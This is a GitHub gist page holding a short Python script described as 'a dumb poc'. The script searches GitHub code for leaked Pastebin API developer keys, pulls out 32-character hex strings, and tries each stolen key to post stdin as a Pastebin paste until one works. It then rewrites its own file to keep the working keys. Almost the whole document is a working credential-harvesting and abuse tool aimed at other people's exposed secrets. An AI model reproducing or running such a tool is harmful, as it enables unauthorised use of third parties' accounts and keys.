Created
January 30, 2018 02:56
-
-
Save itdaniher/dad11243d554c9b109ebdc81160b7655 to your computer and use it in GitHub Desktop.
a dumb poc - worked better when py2.7 was a thing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import os | |
from urllib.request import urlopen | |
from urllib.parse import urlencode | |
from time import time | |
from copy import copy | |
from re import findall | |
PASTEBIN_URL = 'https://pastebin.com/api/api_post.php' | |
PASTEBIN_LOGIN_URL = 'https://pastebin.com/api/api_login.php' | |
keys = [] | |
pastebin_data = { | |
b'api_dev_key': b'', | |
b'api_paste_code': sys.stdin.read().encode(), | |
b'api_paste_expiry_date': b"1H", | |
b'api_paste_format': b"text", | |
b'api_user_key': b"", | |
b'api_paste_private': 1, | |
b'api_option': b'paste', | |
b'api_paste_name': str(int(100 * time()) % 255).encode() | |
} | |
visited = 0 | |
while True: | |
old_keys = copy(keys) | |
update = False | |
if len(keys) < 2: | |
kp = "https://github.com/search?langOverride=%5C&o=desc&q=api_dev_key+http%3A%2F%2Fpastebin.com%2Fapi%2Fapi_post.php&s=indexed&type=Code&p=" + str(visited) | |
visited += 1 | |
kp = findall(b'[a-f0-9]{32}', urlopen(kp).read()) | |
kp = list(set(kp)) | |
for k in kp: | |
keys.append(k) | |
update = True | |
pastebin_data[b'api_dev_key'] = keys.pop() | |
res = urlopen(PASTEBIN_URL, urlencode(pastebin_data).encode()).read().replace(b'.com/', b'.com/raw/') | |
if b'http' in res: | |
print(res.decode()) | |
keys = [pastebin_data[b'api_dev_key']] | |
break | |
else: | |
if b'invalid' in res: | |
print(pastebin_data[b'api_dev_key'], 'from page %d failed' % visited) | |
update = True | |
else: | |
print(visited, pastebin_data[b'api_dev_key'], res.decode()) | |
if update: | |
a = open(sys.argv[0]).read().replace(str(old_keys), str(keys)) | |
open(sys.argv[0], 'w').write(a) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment